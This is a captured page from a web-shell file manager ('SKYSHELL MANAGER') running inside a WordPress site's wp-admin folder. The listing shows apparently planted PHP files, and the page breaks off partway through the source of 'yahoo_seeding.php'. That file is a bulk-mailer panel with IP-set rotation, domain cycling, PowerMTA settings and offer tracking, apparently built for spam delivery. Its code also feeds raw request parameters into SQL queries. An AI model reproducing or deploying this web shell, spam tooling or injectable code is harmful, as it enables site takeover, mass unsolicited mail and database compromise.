📁
SKYSHELL MANAGER
PHP v8.1.29
Create
Create
Path:
root
/
var
/
www
/
html
/
wxwpsite
/
fungiftdeals
/
wp-admin
/
Name
Size
Perm
Actions
📁
css
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
includes
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
maint
-
0755
🗑️
🏷️
🔒
📁
network
-
0755
🗑️
🏷️
🔒
📁
user
-
0755
🗑️
🏷️
🔒
📄
about.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
admin-footer.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
admin.php
12.63 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
async-upload.php
5.47 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
authorize-application.php
10.09 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
comment.php
11.37 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
custom-header.php
0.49 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
customize.php
11.21 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit-form-blocks.php
14.73 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit.php
19.48 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
export-personal-data.php
7.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
font-library.php
1.01 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
home.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php
7.68 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
media-upload.php
3.58 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
menu-header.php
9.82 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
network.php
5.39 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
press-this.php
2.41 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
privacy.php
2.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
setup-config.php
17.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
themes.phpwp-update.php
114.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
update.php
12.76 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
user-edit.php
40.35 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
widgets-form-blocks.php
5.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-mail.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: yahoo_seeding.php
<?php define('INCLUDE_CHECK',true); include_once 'connect.php'; $pid=$_REQUEST['pid']; $eid=$_REQUEST['eid']; $rec=select1("SELECT * from wmail.mprocess where process_id='$pid'"); /** Show the process current status for single process */ if($_REQUEST['key']==3) { $pid=$_REQUEST['pid']; $row=select1("select flag , sent from wmail.mprocess where process_id='$pid'"); if($row['flag']==1) { echo "<span class='label label-info' onclick='killNewProcess(\"$pid\")' >Started</span><strong> Sent : $row[sent]</strong>"; } if($row['flag']==2) { echo "<span class='label label-success' onclick='killNewProcess(\"$pid\")' >Processing</span><strong> Sent : $row[sent]</strong>"; } if($row['flag']==3) { echo "<span class='label label-important'>Killed</span><strong> Sent : $row[sent]</strong>"; } exit; } ?> <html> <head> <!-- Bootstrap --> <link rel="stylesheet" href="css/bootstrap.min1.css"> <!-- Bootstrap responsive --> <link rel="stylesheet" href="css/bootstrap-responsive.min.css"> <!-- jQuery UI --> <link rel="stylesheet" href="css/plugins/jquery-ui/smoothness/jquery-ui.css"> <link rel="stylesheet" href="css/plugins/jquery-ui/smoothness/jquery.ui.theme.css"> <!-- Theme CSS --> <link rel="stylesheet" href="css/style.css"> <!-- Color CSS --> <link rel="stylesheet" href="css/themes.css"> <!-- color box --> <link rel="stylesheet" href="js/plugins/colorbox/colorbox.css"> <!-- jQuery --> <script src="js/jquery.min.js"></script> <!-- jQuery UI --> <script src="js/plugins/jquery-ui/jquery.ui.core.min.js"></script> <script src="js/plugins/jquery-ui/jquery.ui.widget.min.js"></script> <script src="js/plugins/jquery-ui/jquery.ui.mouse.min.js"></script> <script src="js/plugins/jquery-ui/jquery.ui.draggable.min.js"></script> <script src="js/plugins/jquery-ui/jquery.ui.resizable.min.js"></script> <script src="js/plugins/jquery-ui/jquery.ui.sortable.min.js"></script> <!-- Bootstrap --> <script src="js/bootstrap.min.js"></script> <!-- color box --> <script src="js/plugins/colorbox/jquery.colorbox.js"></script> <!--[if lte IE 9]> <script src="js/plugins/placeholder/jquery.placeholder.min.js"></script> <script> $(document).ready(function() { $('input, textarea').placeholder(); }); </script> <![endif]--> <!-- Favicon --> <link rel="shortcut icon" href="http://7host.webxmail.us/html2/images/favicon.ico" /> <!-- Apple devices Homescreen icon --> <link rel="apple-touch-icon-precomposed" href="img/apple-touch-icon-precomposed.png" /> <style type="text/css"> #pageloaddiv { position: fixed;left: 0px;top: 0px;width: 100%;height: 100%;z-index: 1000;background: url('<?php echo $loading_img_url;?>') no-repeat center center;border:1px solid 1px; } </style> </head> <body > <div id="pageloaddiv"></div> <div id='page_content' style='' > <form id="mailing_form" class="form-horizontal form-validate" method="POST" action="#" novalidate="novalidate"> <div class="row-fluid"> <div class="span2" id='ip_mail_span' style='margin-left:160px;'> <div class="box"> <div class="box-title"> <ul class="tabs tabs tabs-left"> <li class="active"> <a href="#set" data-toggle="tab">IP</a> </li> <li class=""> <a href="#mail" data-toggle="tab">Mail</a> </li> <li class=""> <a href="#domain_cycle_tab" data-toggle="tab">Domain</a> </li> <!-- <li class=""> <a href="#track_id_tab" data-toggle="tab">Track ID</a> </li> --> </ul> </div> <div class="tab-content"> <div class="tab-pane" id="domain_cycle_tab" > <BR> <?php if(empty($rec['listid_flag']) || $rec['listid_flag']=='normal') { echo "<strong>Normal</strong> <input type='radio' name='listid_flag' value='normal' checked> <strong>Domain Method</strong> <input type='radio' name='listid_flag' value='listid' >"; }if($rec['listid_flag']=='listid') { echo "<strong>Normal</strong> <input type='radio' name='listid_flag' value='normal' > <strong>Domain Method</strong> <input type='radio' name='listid_flag' value='listid' checked>"; } ?> <div id='domain_cycle_div' style='display:none;'> <br><strong>Domain Cycle : </strong><input type='text' name='listid_domain_cycle' id='listid_domain_cycle' class='span5' value='<?php echo $rec['listid_domain_cycle']; ?>'> <br><br><strong>List Process : </strong> <?php if(empty($rec['listid_process']) || $rec['listid_process']=='continue') { echo "<span>Once </span><input type='radio' name='listid_process' id='listid_process' value='once' > <span>Continue </span><input type='radio' name='listid_process' id='listid_process' value='continue' checked>"; } if($rec['listid_process']=='once') { echo "<span>Once </span><input type='radio' name='listid_process' id='listid_process' value='once' checked> <span>Continue </span><input type='radio' name='listid_process' id='listid_process' value='continue'>"; } ?> <br> <br> <textarea name='listid_domains' id='listid_domains' class='span12' rows='5'><?php $listid_domains=$rec['listid_domains']; $listid_domains = str_replace(",","\n", $listid_domains); echo $listid_domains; ?></textarea><div id='listid_domains_res'></div> <br><br><strong>Type-2 : </strong><input type='text' name='type_2' id='type_2' class='input-large' value='<?php echo $rec['type_2']; ?>'> <br><br><textarea name='type_2_value' id='type_2_value' class='span12' rows='5'><?php echo $rec['type_2_value']; ?></textarea> <br><br><strong>Type-3 : </strong><input type='text' name='type_3' id='type_3' class='input-large' value='<?php echo $rec['type_3']; ?>'> <br><br><textarea name='type_3_value' id='type_3_value' class='span12' rows='5'><?php echo $rec['type_3_value']; ?></textarea> </div> <div id='listid_domains_res'></div> </div> <div class="tab-pane active" id="set" > <?php $set_option=selectOpt(); $mail_list_file=getMaillistFileName(); $mail_data=file_get_contents("$CONFIG_DIR/$mail_list_file"); $mail_option=readTag($mail_data); ?><br> <strong>IP Set :</strong> <select name='set_dropdown' id='set_dropdown' class='input-medium' > <option value="">--Select IP Set--</option> <?php echo $set_option ?> </select> <br><span class='error' for='set_dropdown' >This field is required.</span> <div id='set_val' style='height:auto;overflow:auto;' data-toggle="checkboxes" data-range="true"></div> </div> <div class="tab-pane" id="mail"><br> <strong>EMail Set :</strong> <select id='mail_dropdown' class='input-medium' > <option value="">--Select Email Set--</option> <?php echo $mail_option ?> </select> <br><span class='error' for='mail_dropdown' >This field is required.</span> <div id='mail_val' style='height:auto; overflow:auto;' data-toggle="checkboxes" data-range="true" ></div> </div> <div class="tab-pane" id="track_id_tab" > <div class="box-content nopadding"> <ul class="tabs tabs-inline tabs-top"> <li id="add_new_track_id_li" class="active"> <a data-toggle="tab" href="#add_new_track_id_tab"><i class="icon-plus"></i> Add New</a> </li> <li id="duplicate_track_id_li" class=""> <a data-toggle="tab" href="#duplicate_track_id_tab"><i class="icon-tags"></i> Duplicate</a> </li> </ul> <div class="tab-content padding tab-content-inline tab-content-bottom" style='width:310px;'> <div id="add_new_track_id_tab" class="tab-pane active" > <span id='new_track_id_resp' > <?php $sisp=$rec['isp']; $sgroup_name=$rec['group_name']; $offer_id=$rec['offer_id']; $file_name=$rec['file_name']; $stat_id=$rec['stat_id']; $ttrack_id=$rec['track_id']; echo file_get_contents("$local_server/track_id.php?key=3&isp=$sisp&group_name=$sgroup_name&offer_id=$offer_id&file_name=$file_name&stat_id=$stat_id&ttrack_id=$ttrack_id"); ?> </span> </div> <div id="duplicate_track_id_tab" class="tab-pane"> <div class='control-group' > <label for='track_id_1' class='control-label' style='width:77px;' ><strong>Track ID : </strong> </label> <div class='controls' style='margin-left:10px' > <input type='text' name='track_id_1' id='track_id_1' class='input-medium , req' value=''> <br><span class='error' for='track_id_1' >This field is required.</span> </div> </div> <span id='duplicate_track_id_resp'> </span> </div> <script type='text/javascript'> $(document).ready(function() { //get stat_id from data file name $('#track_id_1').blur(function(e) { $('#duplicate_track_id_resp').html('Processing...'); $.post('track_id.php',{ key:3 ,track_id: $('#track_id_1').val() },function(data) { $('#duplicate_track_id_resp').html(data); } ); return false; }); var sisp='<?php echo $sisp; ?>'; var sgroup_name='<?php echo $sgroup_name; ?>'; var offer_id='<?php echo $offer_id; ?>'; var file_name='<?php echo $file_name; ?>'; var stat_id='<?php echo $stat_id; ?>'; $('#add_new_track_id_li').click(function() { $('#duplicate_track_id_resp').html(''); $('#new_track_id_resp').html("<a class='btn btn-blue btn-mini' href='#' ><i class='icon-refresh icon-spin'></i> downloading... </a>"); $.post('track_id.php',{ key:3 ,sisp:sisp ,sgroup_name:sgroup_name,offer_id:offer_id ,file_name:file_name,stat_id:stat_id },function(data) { $('#new_track_id_resp').html(data); } ); }); $('#duplicate_track_id_li').click(function() { $('#new_track_id_resp').html(''); }); }); </script> </div> </div> </div> </div> </div> </div> <div class="span5" id='second_div' > <table width='100%' > <tr><td valign='top'> <table width='100%' cellpadding='3'> <tr> <td colspan='3' valign='center'> <table style='font-family: "Helvetica Neue",Helvetica,Arial,sans-serif;font-size: 13px;'><tr> <td> <div class='control-groupp'> <label class='control-label' for='mode'><strong>Mode :</strong></label> <div class='controls' > <input name='mode' value='t' type='radio' checked='checked' >Testing <input name='mode' value='b' type='radio'>Bulk <input name='mode' value='w' type='radio'>Warm </div> </div> </td> <td> <div class='control-groupp'> <label class='control-label' for='process_type'><strong>Process :</strong></label> <div class='controls' > <input type='radio' name='process_type' value='in' checked>IN <input type='radio' name='process_type' value='sp'>SP </div> </div> </td> <td> <div class='control-groupp'> <label class='control-label' for='process_type'><strong>MTA :</strong></label> <div class='controls' > <?php if($rec['mta_type']=='pmta' || empty($rec['mta_type'])) { echo " <input name='mtatype' value='postfix' type='radio'>Postfix <input name='mtatype' value='pmta' type='radio' checked='checked'>PowerMTA "; }else { echo "<input name='mtatype' value='postfix' type='radio' checked='checked'>Postfix <input name='mtatype' value='pmta' type='radio' >PowerMTA"; } ?> </div> </div> </td> </tr></table> </td> </tr> <tr> <td colspan='3' valign='top'> <div class='control-groupp'> <label class='control-label' for='sub'><strong>Subject :</strong></label> <div class='controls'> <input type='text' name='sub' id='sub' placeholder='{sub}' class='span , req' value='<?php echo $rec['subject_line']; ?>' > <br><span class='error' for='sub' >This field is required.</span> </div> </div> </td> </tr> <tr> <td colspan='2' valign='top'> <div class='control-groupp'> <label class='control-label' for='from_name'><strong>From :</strong></label> <div class='controls'> <input type='text' name='from_name' id='from_name' placeholder='{from}' class='input-xlarge , req' value='<?php echo $rec['from_line']; ?>' > <br><span class='error' for='from_name' >This field is required.</span> </div> </div> </td> <td valign='top'> <div class='control-groupp'> <label class='control-label' for='track_id'><strong>Track ID :</strong></label> <div class='controls'> <input type='number' name='track_id' id='track_id' placeholder='1000' class='input-xlarge' value='<?php echo $rec['track_id']; ?>' > </div> </div> </td> </tr> <tr> <td colspan='2' valign='top'> <div class='control-groupp'> <label class='control-label' for='bdomain'><strong>Body Domain :</strong></label> <div class='controls'> <input type='text' name='bdomain' id='bdomain' placeholder='domain.com or {hname}' class='input-xlarge , req' value='<?php echo $rec['body_domain']; ?>' > </div> </div> </td> <td colspan='2' valign='top'> <div class='control-groupp'> <label class='control-label' for='fdomain'><strong>From Email :</strong></label> <div class='controls'> <input type='text' name='fdomain' placeholder='contact@domain.com or contact@{hname}' id='fdomain' class='input-xlarge , req' value='<?php echo $rec['from_domain']; ?>' > <br><span class='error' for='fdomain' >This field is required.</span> </div> </div> </td> </tr> <tr> <td colspan='2' valign='top'> <div class='control-groupp'> <label class='control-label' for='helo'><strong>PMTA Name :</strong></label> <div class='controls'> <input type='text' name='helo' id='helo' class='input-xlarge' placeholder='ip or isp name like yahoo ,gmail ,aol' value='<?php echo $rec['helo']; ?>' > </div> </div> </td> <td valign='top'> <div class='control-groupp'> <label class='control-label' for='mfrom'><strong>Mail From :</strong></label> <div class='controls'> <input type='text' name='mfrom' id='mfrom' placeholder='mf@domain.com or contact@{hname}' class='input-xlarge , req' value='<?php echo $rec['mail_from']; ?>' > <br><span class='error' for='mfrom' >This field is required.</span> </div> </div> </td> </tr> <tr> <td colspan='3' valign='top'> <div class='control-groupp'> <label class='control-label' for='textfield27'><strong>Test Mail :</strong></label> <div class='controls'> <input type='text' name='textfield27' id='textfield27' placeholder='testmail@domain.com' class='span' value='<?php echo $rec['emailarray']; ?>' > <br><span class='error' for='textfield27' >This field is required.</span> </div> </div> </td> </tr> <tr> <td colspan='2' valign='top'> <div class='control-groupp'> <label class='control-label' for='data_file'><strong>Data File :</strong></label> <div class='controls'> <input type='text' name='data_file' id='data_file' class='input-xlarge , req' value='<?php echo $rec['file_name']; ?>' > <br><span class='error' for='data_file' >This field is required.</span> </div> </div> </td> <td align='center' valign='middle'> <span id='getcount_btn' class='btn' style='margin-top:10px;color:#1E74C5;'>Get Count</span> <span class='btn' id='download_btn' style='margin-top:10px;color:#1E74C5;'>Download</span> <span class='span6' style='float:right;overflow:auto;' id='show_count' name='show_count'></span> </td> </tr> <tr> <td colspan='2' valign='top'> <div class='control-groupp'> <label class='control-label' for='texttype'><strong>Content Type :</strong></label> <div class='controls' style='font-family: "Helvetica Neue",Helvetica,Arial,sans-serif;font-size: 13px;'> <?php if($rec['content_type']=='plain' || empty($rec['content_type'])) { echo "<input name='texttype' value='plain' type='radio' checked='checked' class='type_grp'> Plain <input name='texttype' value='html' type='radio' class='type_grp'> Html <input name='texttype' value='multipart' type='radio' class='mtype_grp'> Multipart"; } if($rec['content_type']=='html') { echo "<input name='texttype' value='plain' type='radio' class='type_grp'> Plain <input name='texttype' value='html' type='radio' class='type_grp' checked='checked'> Html <input name='texttype' value='multipart' type='radio' class='mtype_grp'> Multipart"; } if($rec['content_type']=='multipart') { echo "<input name='texttype' value='plain' type='radio' class='type_grp'> Plain <input name='texttype' value='html' type='radio' class='type_grp'> Html <input name='texttype' value='multipart' type='radio' checked='checked' class='mtype_grp'> Multipart"; } ?> </div> </div> </td> <td valign='top'> <div class='control-groupp'> <label class='control-label' for='test_mode'><strong>Test Mode :</strong></label> <div class='controls' style='font-family: "Helvetica Neue",Helvetica,Arial,sans-serif;font-size: 13px;'> <?php //once all if($rec['test_mode']=='once' || empty($rec['test_mode'])) { echo "<input name='test_mode' value='once' type='radio' checked='checked' > Once <input name='test_mode' value='all' type='radio' > All IPs "; }else { echo "<input name='test_mode' value='once' type='radio' > Once <input name='test_mode' value='all' type='radio' checked='checked' > All IPs "; } ?> </div> </div> </td> </tr> <tr> <td colspan='2' valign='top'> <div class='control-groupp'> <label class='control-label' for='textfield27'><strong>Message Type :</strong></label> <div class='controls' style='font-family: "Helvetica Neue",Helvetica,Arial,sans-serif;font-size: 13px;'> <?php $f=0; if($rec['message_type']=='normal') {$ch1="checked='checked'";$f=1;} if($rec['message_type']=='base64') {$ch2="checked='checked'"; $f=1;} if($rec['message_type']=='quoted') {$ch3="checked='checked'"; $f=1;} if($f==0){ $ch1="checked='checked'";} echo "<input type='radio' name='msg_type' value='normal' $ch1> Normal <span ><input type='radio' name='msg_type' value='base64' $ch2> Base64</span> <span ><input type='radio' name='msg_type' value='quoted' $ch3> Quoted Printable</span>"; ?> </div> </div> </td> <td valign='top'> <div class='control-groupp' > <label class='control-label' for='test_process'><strong>Test Process :</strong></label> <div class='controls' style='font-family: "Helvetica Neue",Helvetica,Arial,sans-serif;font-size: 13px;'> <?php //test&kill test if($rec['test_process']=='test' || empty($rec['test_process'])) { echo "<input name='test_process' value='test' type='radio' checked='checked'> Test <input name='test_process' value='test&kill' type='radio' > Test & Kill"; } else { echo "<input name='test_process' value='test' type='radio' > Test <input name='test_process' value='test&kill' type='radio' checked='checked' > Test & Kill"; } ?> </div> </div> </td> </tr> <tr> <td colspan='2' valign='top'> <div class='control-groupp'> <label class='control-label' for='test_count'><strong>Test Count :</strong></label> <div class='controls'> <input type='text' name='test_count' id='test_count' class='input-xlarge , req' value='<?php echo $rec['test_count']; ?>' > <br><span class='error' for='test_count' >This field is required.</span> </div> </div> </td> <td valign='top'> <div class='control-groupp' > <label class='control-label' for='queue_limit'><strong>Queue Limit :</strong></label> <div class='controls' style='font-family: "Helvetica Neue",Helvetica,Arial,sans-serif;font-size: 13px;'> <input type='text' name='queue_limit' id='queue_limit' class='input-xlarge' value='<?php echo $rec['queue_limit']; ?>'> </div> </div> </td> </tr> <tr> <td colspan='2' valign='top'> <div class='control-groupp'> <label class='control-label' for='limit'><strong>Limit :</strong></label> <div class='controls'> <input type='text' name='limit' id='limit' class='input-xlarge , req' value='<?php echo $rec['maillimit']; ?>' > <br><span class='error' for='limit' >This field is required.</span> </div> </div> </td> <td valign='top'> <div class='control-groupp'> <label class='control-label' for='sleep'><strong>No of mails per min :</strong></label> <div class='controls'> <input type='text' name='sleep' id='sleep' class='input-xlarge , req' value='<?php echo $rec['sleep']; ?>' > <br><span class='error' for='sleep' >This field is required.</span> </div> </div> </td> </tr> <tr> <td colspan='2' valign='top'> <div class='control-groupp'> <label class='control-label' for='url_pattern'><strong>URL Pattern :</strong></label> <div class='controls'> <select id='url_pattern' name='url_pattern' class='input-xlarge'> <?php for($i=1;$i <= $pattern_length;$i++){ if($i==12) { $fn=" [ comt ]"; } if($i==13) { $fn=" [ send ]"; } if($i==14) { $fn="[ esoln ]"; } if($i < 14) { unset($fn); } if($i==$rec['url_pattern']){ echo "<option value='$i' selected>Pattern-$i $fn</option>"; } else { echo "<option value='$i'>Pattern-$i $fn</option>"; } } ?> </select> </div> </div> </td> <td valign='top'> <div class='control-groupp'> <label class='control-label' for='img_pattern'><strong>IMG Pattern :</strong></label> <div class='controls'> <select id='img_pattern' name='img_pattern' class='input-xlarge'> <?php for($i=1;$i <= $img_pattern_length;$i++) { if($i==$rec['img_pattern']){ echo "<option value='$i' selected>Pattern-$i</option>"; } else { echo "<option value='$i'>Pattern-$i</option>"; } } ?> </select> </div> </div> </td> </tr> <tr> <td colspan='2' valign='top'> <div class='control-groupp'> <label class='control-label' for='test_limit'><strong>Test Limit :</strong></label> <div class='controls'> <input type='text' name='test_limit' id='test_limit' class='input-xlarge , req' value='1' > </div> </div> </td> <td valign='top'> <div class='control-groupp'> <label class='control-label' for='img_path'><strong>IMG Path :</strong></label> <div class='controls'> <input type='text' name='img_path' id='img_path' class='input-xlarge , req' value='<?php echo $rec['img_path']; ?>' > <br><span class='error' for='img_path' >This field is required.</span> </div> </div> </td> </tr> <tr> <td colspan='2' valign='top'> <div class='control-groupp'> <label class='control-label' for='offer_img'><strong>Offer IMG :</strong></label> <div class='controls'> <input type='text' name='offer_img' id='offer_img' class='input-xlarge , req' value='<?php echo $rec['offer_img']; ?>' > <br><span class='error' for='offer_img' >This field is required.</span> </div> </div> </td> <td valign='top'> <div class='control-groupp'> <label class='control-label' for='opt_img'><strong>Opt Img:</strong></label> <div class='controls'> <input type='text' name='opt_img' id='opt_img' class='input-xlarge , req' value='<?php echo $rec['opt_img']; ?>' > <br><span class='error' for='opt_img' >This field is required.</span> </div> </div> </td> </tr> <tr id='messagetr' style='<?php if($rec['content_type']=='multipart') { echo "display:none;"; } ?>' > <td colspan='3' valign='top'> <div class='control-groupp'> <label class='control-label' for='message'><strong>Message :</strong></label> <div class='controls'> <textarea id='message' name='message' class='input-block-level' rows='10'><?php echo $rec['html_message']; ?></textarea> <br><span class='error' for='message' >This field is required.</span> </div> </div> </td> </tr> <tr id='msg_tr' style='<?php if($rec['content_type']!='multipart') { echo"display:none;"; } ?>' > <td colspan='3' valign='top'> <div class='box span10' style='float:right'> <div class='box-title'> <ul class='tabs tabs tabs-left'> <li class='active'> <a data-toggle='tab' href='#html_msg_tab1'><strong>Html Msg</strong></a> </li> <li class=''> <a data-toggle='tab' href='#plain_msg_tab1'><strong>Plain Msg</strong></a> </li> </ul> </div> <div class='box-content'> <div class='tab-content'> <div id='html_msg_tab1' class='tab-pane active'> <textarea id='htm_msg' class='span' name='htm_msg' rows='10'><?php echo $rec['html_message']; ?></textarea> <br><span class='error' for='htm_msg' >This field is required.</span> </div> <div id='plain_msg_tab1' class='tab-pane'> <textarea id='pln_msg' class='span' name='pln_msg' rows='10'><?php echo $rec['plain_message']; ?></textarea> <br><span class='error' for='pln_msg' >This field is required.</span> </div> <span id='err_msg' style='display:none;color:brown;'></span> </div> </div> </div> </td> </tr> <tr> <td colspan='3' valign='top'> <span id='upt_btn' style='float:right;'><button type='button' class='btn btn-primary' title='Update'>Update</button> </span> <!-- <span id='sp_chk' style='float:right;'><button type='button' class='btn btn-danger'>Spam Test</button> </span> --> <span id='sbt_span2' style='float:right;'><button type='button' class='btn btn-success' title='Submit'>Submit</button> </span> </td> </tr> </table> </td><td valign='top'> </div> <div style='margin-left:35px;' class='span4' id='third_div' > <?php $actual_header=$rec['actual_header']; $multipart=$rec['multipart']; $header=$rec['header']; $msg=$rec['html_message']; $ct=$rec['content_type']; ?> <table width="100%" > <tr id="header_tr" <?php if($ct=='multipart') { echo "style='display:none;'"; } ?>> <td width="100%" colspan="2" style='font-family:Helvetica Neue,Helvetica,Arial,sans-serif;font-size: 13px;' valign='top'> <strong>Header</strong> <br> <textarea id="header" name="header" class='input-xxlarge' rows="10"><?php if(isset($pid)){ echo $actual_header; } ?></textarea> <span for='header' class='error'>This field is required.</span> <label for="header" style='display:none;' >Duplicate row found</label> </td> </tr> <tr id='multipart_tr' <?php if($ct=='multipart') { echo "style=''"; }else { echo "style='display:none;'"; } ?>> <td width="100%" colspan="2" valign='top'> <div class="box"> <div class="box-title" style='font-family:Helvetica Neue,Helvetica,Arial,sans-serif;font-size: 13px;'> <strong>Multipart Message</strong> <ul class="tabs"> <li class="active"> <a data-toggle="tab" href="#hdr_msg_tab1"><strong>Header</strong></a> </li> <li class=""> <a data-toggle="tab" href="#mltp_msg_tab1"><strong>Multipart</strong></a> </li> </ul> </div> <div class="box-content"> <div class="tab-content"> <div id="hdr_msg_tab1" class="tab-pane active"> <textarea id="hrd_msg" class='input-xxlarge' name="hrd_msg" rows="10"><?php if(isset($pid)){ echo $actual_header; } ?></textarea> <span for='hrd_msg' class='error'>This field is required.</span> <label for="hrd_msg" style='display:none;' >Duplicate row found</label> </div> <div id="mltp_msg_tab1" class="tab-pane"> <textarea id="mltp_msg" class='input-xxlarge' name="mltp_msg" rows="10"> <?php if(isset($pid)){ echo $multipart; } if(empty($pid)) { echo 'Content-Type: multipart/alternative;boundary="{uniq}" This is a multi-part message in MIME format. --{uniq} Content-Type: text/plain; charset="utf-8" {text_message} --{uniq} Content-Type: text/html; charset="utf-8" {html_message} --{uniq}--'; } ?> </textarea> <span for='mltp_msg' class='error'>This field is required.</span> <label for="mltp_msg" style='display:none;' >Duplicate row found</label> </div> </div> </div> </div> </td> </tr> <tr> <td style='text-align:center;' valign='top'><br /> <span id='right_res'> <?php echo file_get_contents("$local_server/mailing.php?key=1&soption=$header"); ?> </span> </td> <td style='text-align:left;' valign='top'><br /> <input type="text" name="nh1" id="nh1" class="input-xlarge"> </td> </tr> <tr><td width="100%" colspan="2" valign='top'><span id='head_responce'></span></td></tr> <tr> <td colspan='2' style='text-align:center;' valign='top'> <table style='margin:0 auto;' id='sbt_table' cellpadding='0' cellspacing='0'><tr> <td><button type="button" id="edit_btn" class="btn btn-primary" title='Update' >Update</button> </td> <td><button type="button" id='save_btn' class="btn btn-primary" title='Save' onmouseover="myFunction();" >Save</button> </td> <td><button type="button" id="randomize" class="btn btn-primary" title='Randomize'>Randomize</button> </td> <td><button type="button" id='ref_btn' class="btn btn-primary" title='Refresh'>Refresh</button> </td> </tr></table> </td> </tr> <tr><td width="100%" colspan="2" valign='top'><span id='mail_resp' ></span></td></tr> <tr><td width="100%" colspan="2" valign='top'><span id='yahoo_seeding_resp' ></span></td></tr> <tr><td width="100%" colspan="2" valign='top'><span id='head_responce1' ></span></td></tr> </table> <style>#sbt_table td{padding:0;} </style> </div> </td></tr></table> <input type='hidden' id='eid' name='eid' value='<?php echo $eid;?>'> <input type='hidden' name='sid' value='Codero-2'> <input type='hidden' id='autoref' value='0'> <input type='hidden' id='key' name='key' value=''> <input type='hidden' id='mail_mode' name='mail_mode' value='1'> </div> </form> </div> </body> </html> <script> var shpath='<?php echo "$local_server/";?>'; var isp='<?php echo "$rec[isp]";?>'; var iparray='<?php echo "$rec[iparray]";?>'; var emailarray='<?php echo "$rec[emailarray]";?>'; var set='<?php echo "$rec[ipset]";?>'; var eid='<?php echo "$eid";?>'; var dir_url='<?php echo "$dir_url";?>'; var smode='t'; $(document).ready(function () { $(window).load(function() { $("#pageloaddiv").fadeOut(2000); $("#page_content").fadeIn(2000); }); $('[type=radio]').css('margin-top','-2px'); $('#mailing_form .error').hide(); if($('input:radio[name=listid_flag]:checked').val()=='listid') { $('#domain_cycle_div').show(); }else{ $('#domain_cycle_div').hide(); } $('input:radio[name=listid_flag]').click(function(){ if($('input:radio[name=listid_flag]:checked').val()=='listid') { $('#domain_cycle_div').show(); }else{ $('#domain_cycle_div').hide(); } }); $('#listid_domains').blur(function(){ var ips=$(this).val(); var ip_arr=ips.split('\n'); var new_array = $.map(ip_arr, function (el) { return el !== '' ? el : null; }); var count=new_array.length; $('#listid_domains_res').html('No of domain : '+count+' ').css({'margin-top':'5px'}); }); //Download the file $("#download_btn").click(function(){ $('#show_count').html("<a class='btn btn-blue btn-mini' href='#' ><i class='icon-refresh icon-spin'></i> downloading... </a>"); $.post( shpath+"/download_file_update.php", { key: "1", file_name: $('#data_file').val() },function(data) { $('#show_count').html(data); } ); }); $("#getcount_btn").click(function(){ $('#show_count').html("<a class='btn btn-blue btn-mini' href='#' ><i class='icon-refresh icon-spin'></i> downloading... </a>"); $.post( shpath+"/download_file_update.php", { key: "2", file_name: $('#data_file').val() },function(data) { $('#show_count').html(data); } ); }); $('#mailing_form .req').focusout(function(){ $.errorMsg($(this).attr('id')); }); $('#mailing_form .req').bind('keypress focus click', function() { $.nrlMsg($(this).attr('id')); }); $('#mailing_form #textfield27').on('focus keypress click', function() { $.nrlMsg($(this).attr('id')); }); $('#mailing_form #textfield27').focusout(function() { var ckflag=0; $('#mailing_form #mail_val input[type=checkbox]').each(function() { if($(this).is(':checked')){ ckflag++;return false;} }); if($("#mailing_form #textfield27").val()=='' && ckflag==0) { $.errorMsg('textfield27');return false; } }); // create the mail list and ip set <<start>> if(isp) { $('#mail_val').html("loading..."); $("#mail_dropdown option").each(function(){ if ($(this).val() == isp) $(this).attr("selected","selected"); }); var str = emailarray.replace(/\,/g, '\n'); $.createCheckbox(str,'mail_val','Array2[]','checked'); } if(set) { $('#set_val').html("loading..."); $("#set_dropdown option").each(function(){ if ($(this).val() == set) $(this).attr("selected","selected"); }); var str1 = iparray.replace(/\,/g, '\n'); $.createCheckbox(str1,'set_val','Array1[]','checked'); } // create the mail list and ip set <<end>> /*read the corresponding ip set from Codero server */ $('#set_dropdown').change(function() { var read_file=shpath+'read_file.php?'+$(this).val()+'.txt'; $.get(read_file, function(data) { $.createCheckbox(data,'set_val','Array1[]',''); }); $.nrlMsg('set_dropdown'); }); /*read the corresponding mail set from Codero server */ $('#mail_dropdown').change(function(){ var opt=$(this).val(); $.get(shpath+"/mailing.php?key=2", function(data) { var str=$.readTag(opt,data); $.createCheckbox(str,'mail_val','Array2[]',''); }); $.nrlMsg('mail_dropdown'); }); /* reload the page*/ $('#page-reset').click(function(){ location.reload(); }); // display the message in right side<<start> $('#htm_msg , #message').blur(function() { var bd=$('#bdomain').val(); var temp; var ttype=$('[name=texttype]:checked').val(); if(ttype == 'multipart') { temp=$('#htm_msg').val(); temp+=$('#pln_msg').val(); }else { temp=$('#message').val(); } var img_pattern=$('#img_pattern').val(); var img_path=$('#img_path').val(); var offer_img=$('#offer_img').val(); var opt_img=$('#opt_img').val(); $.post("display_message.php", {key: 1, msg: temp,bdomain:bd ,img_pattern:img_pattern,img_path:img_path,offer_img:offer_img,opt_img:opt_img },function(data) { 